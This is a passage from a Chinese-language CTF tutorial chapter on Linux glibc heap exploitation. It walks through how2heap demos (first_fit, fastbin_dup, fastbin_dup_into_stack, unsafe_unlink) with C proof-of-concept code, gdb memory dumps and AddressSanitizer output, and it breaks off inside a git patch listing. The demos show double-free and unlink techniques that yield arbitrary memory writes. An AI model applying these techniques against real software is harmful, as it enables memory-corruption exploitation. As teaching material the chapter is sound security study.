CTF-All-In-One/doc/3.3.5_heap_exploit.md
2018-01-11 20:27:48 +08:00

35 KiB
Raw Blame History

3.3.5 堆利用

Linux 堆简介

堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2在 glibc 中实现。

更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。

how2heap

how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境glibc 版本如下:

$ file /lib/x86_64-linux-gnu/libc-2.23.so 
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make

请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 CFLAGS += -fsanitize=address 可以检测内存错误。下载文件

first_fit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;

    fprintf(stderr, "1st malloc(512): %p\n", a);
    fprintf(stderr, "2nd malloc(256): %p\n", b);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    c = malloc(500);
    fprintf(stderr, "3rd malloc(500): %p\n", c);
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
$ gcc -g first_fit.c
$ ./a.out 
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC

这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时malloc 会先到 unsorted bin或者fastbins 中查找适合的被 free 的 chunk如果没有就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk并把它重新分配。

在 gdb 中调试,两个 malloc 之后chunk 位于 malloc 返回地址减去 0x10 的位置):

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000000	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000

第一个 free 之后,将其加入到 unsorted bin 中:

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a [be freed]
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd pointer, bk pointer
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000110 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

第三个 malloc 之后:

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk c
0x602010:	0x4343434343434343	0x00007ffff7dd1d00
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000

所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。

好了,现在我们加上内存检测参数重新编译:

$ gcc -fsanitize=address -g first_fit.c 
$ ./a.out 
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
first allocation 0x61500000fd00 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC
=================================================================
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
READ of size 2 at 0x61500000fd00 thread T0
    #0 0x7f49d14a61e8  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
    #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
    #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
    #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
    #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)

0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
    #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 3 buffers.\n");
    char *d = malloc(9);
    char *e = malloc(9);
    char *f = malloc(9);
    strcpy(d, "DDDDDDDD");
    fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
$ gcc -g fastbin_dup.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB
3rd malloc(9) 0x1c07050 points to CCCCCCCC
Freeing the first one 0x1c07010.
Then freeing another one 0x1c07030.
Freeing the first one 0x1c07010 again.
Allocating 3 buffers.
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time

这个程序展示了利用 fastbins 的 double-free 攻击可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1 <-- top chunk
0x602070:	0x0000000000000000

第一个 free 之后chunk a 被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed]
0x602010:	0x0000000000000000	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

第二个 free 之后chunk b 被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed]
0x602010:	0x0000000000000000	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

第三个 free 之后chunk a 再次被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed again]
0x602010:	0x0000000000602020	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]

再三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk d, chunk f
0x602010:	0x4646464646464646	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk e
0x602030:	0x4545454545454545	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000

所以对于 fastbins可以通过 double-free 泄漏出一个堆块的指针。

加上内存检测参数重新编译:

$ gcc -fsanitize=address -g fastbin_dup.c
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
Freeing the first one 0x60200000eff0.
Then freeing another one 0x60200000efd0.
Freeing the first one 0x60200000eff0 again.
=================================================================
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)

0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
freed by thread T0 here:
    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup_into_stack

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    unsigned long long stack_var = 0x21;
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 4 buffers.\n");
    unsigned long long *d = malloc(9);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
    char *e = malloc(9);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    char *f = malloc(9);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
    char *g = malloc(9);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
$ gcc -g fastbin_dup_into_stack.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG

这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样漏洞也同样是 double-free只有给 fd 填充的内容不一样。

三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1 <-- top chunk
0x602070:	0x0000000000000000

三个 free 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed twice]
0x602010:	0x0000000000602020	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]

这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8从而在栈上伪造出一个 free 的 chunk当然也可以是其他的地址

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk d
0x602010:	0x00007fffffffdc30	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  p &stack_var 
$4 = (unsigned long long *) 0x7fffffffdc38
gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk [seems to be freed]
0x7fffffffdc40:	0x0000000000602010	0x0000000000602010      <-- fd pointer
0x7fffffffdc50:	0x0000000000602030
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]

可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021
0x602010:	0x4646464646464646	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021
0x602030:	0x4545454545454545	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]

再次 malloc即可在 fake chunk 处分配内存:

gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk 
0x7fffffffdc40:	0x4747474747474747	0x0000000000602000
0x7fffffffdc50:	0x0000000000602030

所以对于 fastbins可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    // pass this check: (P->fd->bk != P || P->bk->fd != P) == False
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
    // pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
    // chunk0_ptr[1] = 0x0; // or 0x8, 0x80

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    // deal with tcache
    // int *a[10];
    // int i;
    // for (i = 0; i < 7; i++) {
	// 	a[i] = malloc(0x80);
	// }
	// for (i = 0; i < 7; i++) {
	// 	free(a[i]);
	// }
    free(chunk1_ptr);

    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);

    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}
$ gcc -g unsafe_unlink.c 
$ ./a.out 
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAA
New Value: BBBBBBBB

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

malloc_size 设置为 0x80可以分配 small chunk然后定义 header_size 为 2。申请两块空间全局指针 chunk0_ptr 指向 chunk0局部指针 chunk1_ptr 指向 chunk1

gef➤  p &chunk0_ptr 
$1 = (uint64_t **) 0x601070 <chunk0_ptr>
gef➤  x/gx &chunk0_ptr 
0x601070 <chunk0_ptr>:	0x0000000000602010
gef➤  p &chunk1_ptr 
$2 = (uint64_t **) 0x7fffffffdc60
gef➤  x/gx &chunk1_ptr 
0x7fffffffdc60:	0x00000000006020a0
gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000

接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr 构造 fake chunk 来绕过它:

gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000000000  <-- fake chunk P
0x602020:	0x0000000000601058	0x0000000000601060      <-- fd, bk pointer
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000080	0x0000000000000090  <-- chunk 1 <-- prev_size
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000
gef➤  x/5gx 0x601058
0x601058:	0x0000000000000000	0x00007ffff7dd2540  <-- fake chunk
0x601068:	0x0000000000000000	0x0000000000602010      <-- bk pointer
0x601078:	0x0000000000000000
gef➤  x/5gx 0x601060
0x601060:	0x00007ffff7dd2540	0x0000000000000000  <-- fake chunk
0x601070:	0x0000000000602010	0x0000000000000000      <-- fd pointer
0x601080:	0x0000000000000000

可以看到,我们在 chunk0 里构造一个 fake chunk用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == PP->bk->fd == P,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0将 fake chunk 伪造成一个 free chunk。

接下来就是释放掉 chunk1这会触发 fake chunk 的 unlink 并覆盖 chunk0_ptr 的值。unlink 操作是这样进行的:

FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD

再说简单一点,由于这时候 P->fd->bk 和 P->bk->fd 都指向 P所以最后的结果为

chunk0_ptr = P = P->fd

成功地修改了 chunk0_ptr这时 chunk0_ptrchunk0_ptr[3] 实际上就是同一东西:

gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000020ff1  <-- fake chunk P
0x602020:	0x0000000000601058	0x0000000000601060      <-- fd, bk pointer
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000080	0x0000000000000090  <-- chunk 1 [be freed]
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000
gef➤  x/5gx 0x601058
0x601058:	0x0000000000000000	0x00007ffff7dd2540  <-- fake chunk
0x601068:	0x0000000000000000	0x0000000000601058      <-- bk pointer
0x601078:	0x0000000000000000
gef➤  x/5gx 0x601060
0x601060:	0x00007ffff7dd2540	0x0000000000000000  <-- fake chunk
0x601070:	0x0000000000601058	0x0000000000000000      <-- fd pointer
0x601080:	0x0000000000000000
gef➤  x/gx chunk0_ptr 
0x601058:	0x0000000000000000
gef➤  x/gx chunk0_ptr[3]
0x601058:	0x0000000000000000

所以,修改 chunk0_ptr[3] 就等于修改 chunk0_ptr

gef➤  x/5gx 0x601058
0x601058:	0x0000000000000000	0x00007ffff7dd2540
0x601068:	0x0000000000000000	0x00007fffffffdc70  <-- chunk0_ptr[3]
0x601078:	0x0000000000000000
gef➤  x/gx chunk0_ptr 
0x7fffffffdc70:	0x4141414141414141

这时 chunk0_ptr 就指向了 victim_string修改它

gef➤  x/gx chunk0_ptr 
0x7fffffffdc70:	0x4242424242424242

成功达成修改任意地址的成就。

最后看一点新的东西libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下:

$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c 
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
Author: DJ Delorie <dj@delorie.com>
